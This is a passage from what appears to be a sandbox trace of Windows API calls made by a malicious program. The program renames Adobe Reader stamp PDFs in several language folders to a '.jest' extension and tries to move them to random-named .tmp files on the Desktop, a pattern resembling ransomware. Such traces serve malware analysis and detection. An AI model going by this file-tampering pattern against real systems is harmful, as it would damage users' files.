10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf.jest")) returned 1 [0152.007] GetLastError () returned 0x0 [0152.007] VarBstrFromR4 (in: fltIn=0x479450d9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.7") returned 0x0 [0152.008] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gisgzCIcJCynqg_CJnl6fvk-e5S-tX0r1NCBLH48LSrky-YxIDCwkBbsRVmmCNvk8G51HS-r9IR9V_NYvoy6F74mfXVHdq63yK7J_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gisgzcicjcynqg_cjnl6fvk-e5s-tx0r1ncblh48lsrky-yxidcwkbbsrvmmcnvk8g51hs-r9ir9v_nyvoy6f74mfxvhdq63yk7j_.tmp")) returned 0 [0152.008] GetLastError () returned 0x2 [0152.012] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf.jest")) returned 1 [0152.013] GetLastError () returned 0x0 [0152.014] VarBstrFromR4 (in: fltIn=0x479450d9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.7") returned 0x0 [0152.015] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WuKJIP8YGuZSt09mEG82131Cjc1Mt54wiX4Flc821 -YsyXXUXfwFJi_lIYvx2kZMdXqyx0o6iUbDePIOGvk3_GE985gJZsI9x7Pt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wukjip8yguzst09meg82131cjc1mt54wix4flc821 -ysyxxuxfwfji_liyvx2kzmdxqyx0o6iubdepiogvk3_ge985gjzsi9x7pt.tmp")) returned 0 [0152.015] GetLastError () returned 0x2 [0152.016] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf.jest")) returned 1 [0152.017] GetLastError () returned 0x0 [0152.017] VarBstrFromR4 (in: fltIn=0x479450db, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.71") returned 0x0 [0152.018] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aaIVbtG5Op3CbKOe5CM26sG1VZcyY83VPJ8gXQjOI9LQB4pivdE4P9EObFNOBeWBhmLLh45tQELzkoq0vWq0u6gtQr1x85W79fZrE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aaivbtg5op3cbkoe5cm26sg1vzcyy83vpj8gxqjoi9lqb4pivde4p9eobfnobewbhmllh45tqelzkoq0vwq0u6gtqr1x85w79fzre.tmp")) returned 0 [0152.018] GetLastError () returned 0x2 [0152.019] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf.jest")) returned 1 [0152.020] GetLastError () returned 0x0 [0152.020] VarBstrFromR4 (in: fltIn=0x479450db, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.71") returned 0x0 [0152.021] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tx4dgx5QMhHipkM6PS9AAiy_5l7ZMUv4 RLHXli-qT2BcM4Xp1JbgDpZUjUyOfSHWVdtnCkfmvQOD8c2xUSWz2z-mUqPjmrf76Jz-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tx4dgx5qmhhipkm6ps9aaiy_5l7zmuv4 rlhxli-qt2bcm4xp1jbgdpzujuyofshwvdtnckfmvqod8c2xuswz2z-muqpjmrf76jz-.tmp")) returned 0 [0152.021] GetLastError () returned 0x2 [0152.022] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf.jest")) returned 1 [0152.023] GetLastError () returned 0x0 [0152.023] VarBstrFromR4 (in: fltIn=0x479450db, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.71") returned 0x0 [0152.024] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WDh8wlEqcK7MuJ7veJt_YEABj3-CtsAJ3hoM0-RzrzoHQWfd2XNXt8U MyjXCXvLNH8MFAUU0yMpPTQRJOdry TudwvghiVs gLk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wdh8wleqck7muj7vejt_yeabj3-ctsaj3hom0-rzrzohqwfd2xnxt8u myjxcxvlnh8mfauu0ympptqrjodry tudwvghivs glk.tmp")) returned 0 [0152.025] GetLastError () returned 0x2 [0152.025] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf.jest")) returned 1 [0152.028] GetLastError () returned 0x0 [0152.029] VarBstrFromR4 (in: fltIn=0x479450db, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.71") returned 0x0 [0152.029] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D5v9K-WN0Ri5bZTW3UzWCEGysVlUJN KJclc1zZXWQNavgVz5SIiib9WnHOeMY_pGHIluInwwlI7RuhlzZ4 UPxYyUD7isQbsiRGw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d5v9k-wn0ri5bztw3uzwcegysvlujn kjclc1zzxwqnavgvz5siiib9wnhoemy_pghiluinwwli7ruhlzz4 upxyyud7isqbsirgw.tmp")) returned 0 [0152.030] GetLastError () returned 0x2 [0152.030] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf.jest")) returned 1 [0152.031] GetLastError () returned 0x0 [0152.032] VarBstrFromR4 (in: fltIn=0x479450dd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.73") returned 0x0 [0152.032] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vw5pHyw0s48ZwEgRj3hC1j7jYVn4mO0u-KdXF2zC81NmX6a8y POstsApf T_rBKvzxPV5MGocS49RQh3COiNJNhFFIb_LCNHbaO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vw5phyw0s48zwegrj3hc1j7jyvn4mo0u-kdxf2zc81nmx6a8y postsapf t_rbkvzxpv5mgocs49rqh3coinjnhffib_lcnhbao.tmp")) returned 0 [0152.033] GetLastError () returned 0x2 [0152.033] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf.jest")) returned 1 [0152.034] GetLastError () returned 0x0 [0152.034] VarBstrFromR4 (in: fltIn=0x479450dd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.73") returned 0x0 [0152.035] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qd jPYqdRZqpyMjmrTzCF59MU85LHI askuufaH o-tCZIv2ofBTybR0w3dOhVSv7H5WApgxq_d5gsexMVZe_dREKyitNiiGoIm3l.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qd jpyqdrzqpymjmrtzcf59mu85lhi askuufah o-tcziv2ofbtybr0w3dohvsv7h5wapgxq_d5gsexmvze_drekyitniigoim3l.tmp")) returned 0 [0152.036] GetLastError () returned 0x2 [0152.036] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf.jest")) returned 1 [0152.037] GetLastError () returned 0x0 [0152.037] VarBstrFromR4 (in: fltIn=0x479450dd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.73") returned 0x0 [0152.038] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EfMq0Bd7MnS8hN9jmxx9KrKD6tpz2p5GydP24s6_FkxiPVSh4eWFnRbCmvqlXK74UxIajYnMoD40fzFEcb9v7zVYImbeoh7p9niY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efmq0bd7mns8hn9jmxx9krkd6tpz2p5gydp24s6_fkxipvsh4ewfnrbcmvqlxk74uxiajynmod40fzfecb9v7zvyimbeoh7p9niy.tmp")) returned 0 [0152.038] GetLastError () returned 0x2 [0152.039] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf.jest")) returned 1 [0152.040] GetLastError () returned 0x0 [0152.040] VarBstrFromR4 (in: fltIn=0x479450dd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.73") returned 0x0 [0152.041] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EOBv931NjUTXEH6xUWo2nDNxaHZ6_lL6DKpX4bObG3ttLoxwoGhPAOUhj K1NcNcgjG8hjopIym_62zWuXHQiv1Jhsye0l60iHkl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eobv931njutxeh6xuwo2ndnxahz6_ll6dkpx4bobg3ttloxwoghpaouhj k1ncncgjg8hjopiym_62zwuxhqiv1jhsye0l60ihkl.tmp")) returned 0 [0152.041] GetLastError () returned 0x2 [0152.042] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf.jest")) returned 1 [0152.043] GetLastError () returned 0x0 [0152.043] VarBstrFromR4 (in: fltIn=0x479450dd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.73") returned 0x0 [0152.044] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PAQ A465tB67cQnhiDDGqBt0jjJT_eeqM8J3yV7VX2Z5TqIBqeMO5MXA9LQyLl6hVshsE8k-W_az1fbihGhoo0BR1y10QxAs-A7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\paq a465tb67cqnhiddgqbt0jjjt_eeqm8j3yv7vx2z5tqibqemo5mxa9lqyll6hvshse8k-w_az1fbihghoo0br1y10qxas-a7.tmp")) returned 0 [0152.044] GetLastError () returned 0x2 [0152.045] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf.jest")) returned 1 [0152.048] GetLastError () returned 0x0 [0152.048] VarBstrFromR4 (in: fltIn=0x479450df, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.74") returned 0x0 [0152.049] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UpWfnUaxfY ifzgwDTZ-jQh2erejoDXTaAHTo-0sA8xfI6jTHr miyPx4LdA79WfirypZoB47IKXP0Mr-9Uq qmJ93ccmlgu22PKl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\upwfnuaxfy ifzgwdtz-jqh2erejodxtaahto-0sa8xfi6jthr miypx4lda79wfirypzob47ikxp0mr-9uq qmj93ccmlgu22pkl.tmp")) returned 0 [0152.050] GetLastError () returned 0x2 [0152.050] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf.jest")) returned 1 [0152.051] GetLastError () returned 0x0 [0152.052] VarBstrFromR4 (in: fltIn=0x479450df, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.74") returned 0x0 [0152.053] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SW0B9Toe7jSMMo9JkKif CjQG8fU8OsJcFpZVSV0Rdb0TjYvel-GVZ7qIL0kE9e6PlKfdnY8lcftN9Dfdv4T 0wq16wqXkEkWlJAq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sw0b9toe7jsmmo9jkkif cjqg8fu8osjcfpzvsv0rdb0tjyvel-gvz7qil0ke9e6plkfdny8lcftn9dfdv4t 0wq16wqxkekwljaq.tmp")) returned 0 [0152.053] GetLastError () returned 0x2 [0152.053] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf.jest")) returned 1 [0152.057] GetLastError () returned 0x0 [0152.058] VarBstrFromR4 (in: fltIn=0x479450df, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.74") returned 0x0 [0152.059] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LjtTjPQI0swyVQmlZAaD9Ko1oJUgjpl0JudYMDN0Hqd0DFoSJF34j3CSobMY PXtd9ToasvT9d2fF2b6cuS-cZLyI63b-r282956.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ljttjpqi0swyvqmlzaad9ko1ojugjpl0judymdn0hqd0dfosjf34j3csobmy pxtd9toasvt9d2ff2b6cus-czlyi63b-r282956.tmp")) returned 0 [0152.059] GetLastError () returned 0x2 [0152.059] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf.jest")) returned 1 [0152.061] GetLastError () returned 0x0 [0152.061] VarBstrFromR4 (in: fltIn=0x479450df, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.74") returned 0x0 [0152.062] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N8t_vpv6pW0dwIbbRvVsgz9o1fG-PI7xT9LzfZmkyTwkDFZq_dLl4BgGQZt60Es6coiGM8rkbygxOHezyM2h9WbR8gmlQ3B_AmMv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n8t_vpv6pw0dwibbrvvsgz9o1fg-pi7xt9lzfzmkytwkdfzq_dll4bggqzt60es6coigm8rkbygxohezym2h9wbr8gmlq3b_ammv.tmp")) returned 0 [0152.062] GetLastError () returned 0x2 [0152.063] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf.jest")) returned 1 [0152.064] GetLastError () returned 0x0 [0152.064] VarBstrFromR4 (in: fltIn=0x479450e1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.76") returned 0x0 [0152.065] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6bTGSCxOY2tTfxPjYLbPTFtpN5uPrnMmO9BqyauCioOKd-tyb 6rCKFMmvhtbGmwioiCCG-mklGrTQbBUS2oxOwGtLGTCZ9n-muZi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6btgscxoy2ttfxpjylbptftpn5uprnmmo9bqyauciookd-tyb 6rckfmmvhtbgmwioiccg-mklgrtqbbus2oxowgtlgtcz9n-muzi.tmp")) returned 0 [0152.066] GetLastError () returned 0x2 [0152.066] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf.jest")) returned 1 [0152.067] GetLastError () returned 0x0 [0152.068] VarBstrFromR4 (in: fltIn=0x479450e1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.76") returned 0x0 [0152.069] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_RIWIyEPBmDqknmaja8yr4 91TmHDXritVLMgh0m-cVr9-0WlOsxpvI3 zxhmOAK0Q__bKLGyZoUM1fyKFChDz2wiJmiq Z2ik4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_riwiyepbmdqknmaja8yr4 91tmhdxritvlmgh0m-cvr9-0wlosxpvi3 zxhmoak0q__bklgyzoum1fykfchdz2wijmiq z2ik4.tmp")) returned 0 [0152.069] GetLastError () returned 0x2 [0152.069] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf.jest")) returned 1 [0152.072] GetLastError () returned 0x0 [0152.073] VarBstrFromR4 (in: fltIn=0x479450e1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.76") returned 0x0 [0152.074] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 